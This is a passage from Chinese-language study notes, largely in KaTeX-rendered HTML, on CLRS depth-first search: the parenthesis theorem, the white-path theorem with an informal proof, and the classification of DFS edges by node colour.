mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的祖先：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">[</mo><mi>v</mi><mi mathvariant="normal">.</mi><mi>s</mi><mo separator="true">,</mo><mi>v</mi><mi mathvariant="normal">.</mi><mi>f</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">[v.s, v.f]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mclose">]</span></span></span></span> 包含 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">[</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>s</mi><mo separator="true">,</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>f</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">[u.s, u.f]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mclose">]</span></span></span></span>。</p></li></ul><blockquote><p>也就是不可能存在两个节点的开始时间和结束时间交错的情况。</p></blockquote><p><img src="/images/CLRS/parenthesis_theorem.png" alt="parenthesis_theorem" /></p><p>根据如上的三个情况，显然可以推出 Nesting of descendants’ intervals（后代区间的嵌套）：当且仅当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 的祖先时，满足 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mi mathvariant="normal">.</mi><mi>s</mi><mo>&lt;</mo><mi>v</mi><mi mathvariant="normal">.</mi><mi>s</mi><mo>&lt;</mo><mi>v</mi><mi mathvariant="normal">.</mi><mi>f</mi><mo>&lt;</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>f</mi></mrow><annotation encoding="application/x-tex">u.s &lt; v.s &lt; v.f &lt; u.f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span>。</p><blockquote><p>从代码上观察递归嵌套，和时间戳截取的时机可以很容易观察得出，不证明=-=。</p></blockquote><p>若 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的后代，有另一个性质——White-path theorem，白色路径定理：</p><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的后代<strong>当且仅当</strong>在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的 <code>start_time</code> 时，存在一条全部由白色节点组成的路径从 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span>。</p><blockquote><p>注意是充要条件。</p></blockquote><p>先证明 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的后代 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇒</mo></mrow><annotation encoding="application/x-tex">\Rightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇒</span></span></span></span> 在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的 <code>start_time</code> 时，存在一条全部由白色节点组成的路径从 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span>：</p><p>考虑 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mo>=</mo><mi>v</mi></mrow><annotation encoding="application/x-tex">u = v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 设置 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的 <code>start_time</code> 时，显然 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 还是白色的（没有置灰），所以成立。</p><p>当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mo mathvariant="normal">≠</mo><mi>v</mi></mrow><annotation encoding="application/x-tex">u \ne v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">u</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 时，假设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的任意后代，又因为满足 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mi mathvariant="normal">.</mi><mi>s</mi><mo>&lt;</mo><mi>v</mi><mi mathvariant="normal">.</mi><mi>s</mi><mo>&lt;</mo><mi>v</mi><mi mathvariant="normal">.</mi><mi>f</mi><mo>&lt;</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>f</mi></mrow><annotation encoding="application/x-tex">u.s &lt; v.s &lt; v.f &lt; u.f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span>，所以有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mi mathvariant="normal">.</mi><mi>s</mi><mo>&lt;</mo><mi>v</mi><mi mathvariant="normal">.</mi><mi>s</mi></mrow><annotation encoding="application/x-tex">u.s &lt; v.s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">s</span></span></span></span>。节点 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi mathvariant="normal">.</mi><mi>s</mi></mrow><annotation encoding="application/x-tex">v.s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">s</span></span></span></span> 才置灰，前提说此刻是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mi mathvariant="normal">.</mi><mi>d</mi></mrow><annotation encoding="application/x-tex">u.d</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">d</span></span></span></span>，所以任意后代 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 都是白色节点，构成了一条从 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 的白色路径。</p><p>反过来证明，条件是存在白色路径。</p><p>假设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 不是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的后代，那么取 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的路径上的最后一个后代为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>w</mi></mrow><annotation encoding="application/x-tex">w</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span></span></span></span>，则满足 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>w</mi><mi mathvariant="normal">.</mi><mi>f</mi><mo>&lt;</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>f</mi></mrow><annotation encoding="application/x-tex">w.f &lt; u.f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span>。</p><p>因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 不是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的后代（也不是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>w</mi></mrow><annotation encoding="application/x-tex">w</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span></span></span></span> 的后代）且存在边 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>w</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(w, v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span>，那么 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 应该在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mi mathvariant="normal">.</mi><mi>s</mi></mrow><annotation encoding="application/x-tex">u.s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">s</span></span></span></span> 之后、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>w</mi><mi mathvariant="normal">.</mi><mi>f</mi></mrow><annotation encoding="application/x-tex">w.f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span> 之前被访问到，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mi mathvariant="normal">.</mi><mi>s</mi><mo>&lt;</mo><mi>v</mi><mi mathvariant="normal">.</mi><mi>s</mi><mo>&lt;</mo><mi>w</mi><mi mathvariant="normal">.</mi><mi>f</mi><mo>&lt;</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>f</mi></mrow><annotation encoding="application/x-tex">u.s &lt; v.s &lt; w.f &lt; u.f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span>，符合括号化定理中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的后代的情况，矛盾了，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 必然是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的后代。</p><p>所以有白色路径相通则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 必然是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的后代，反之亦然。</p><blockquote><p>DFS 本质是贪心的，那么有能连通的白色路径当然会成为后代，成为了后代当然得有连通的白色路径…读的力竭了</p></blockquote><hr /><p>根据节点间的跳转，节点间的边分类可以有：</p><ul><li>树边（Tree Edge）：DFS 过程中访问到一个未访问过（白色）的节点时的边。（即发现节点的边）</li><li>前向边（Forward Edge）：由祖先节点连接后代节点。</li><li>后向边（Back Edge）：由后代节点连接祖先节点。(注意，自身连接自身也算后向边)</li><li>交叉边（Cross Edge）：连接两个不具有祖先关系的节点。（可能跨树，也可能在同一棵树中）</li></ul><p>书中给出了根据颜色判断边的类型：</p><ul><li>白色节点：树边</li><li>灰色节点：后向边</li><li>黑色节点：前向边或交叉边（后续根据时间戳区分）</li></ul><p>对于无向图来说，只有树边和后向边，因为无向图中不存在前向边和交叉边。</p><p>首先考虑前向边，考虑有向图的情况下，假设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(u, v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span> 是前向边，必有两条路径使得 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mo>→</mo><mi>v</mi></mrow><annotation encoding="application/x-tex">u \rightarrow v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 连通，比如先遍历了一条例如 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mo>→</mo><mi>x</mi><mo>→</mo><mi>v</mi></mrow><annotation encoding="application/x-tex">u \rightarrow x \rightarrow v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 的路径，到达 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation 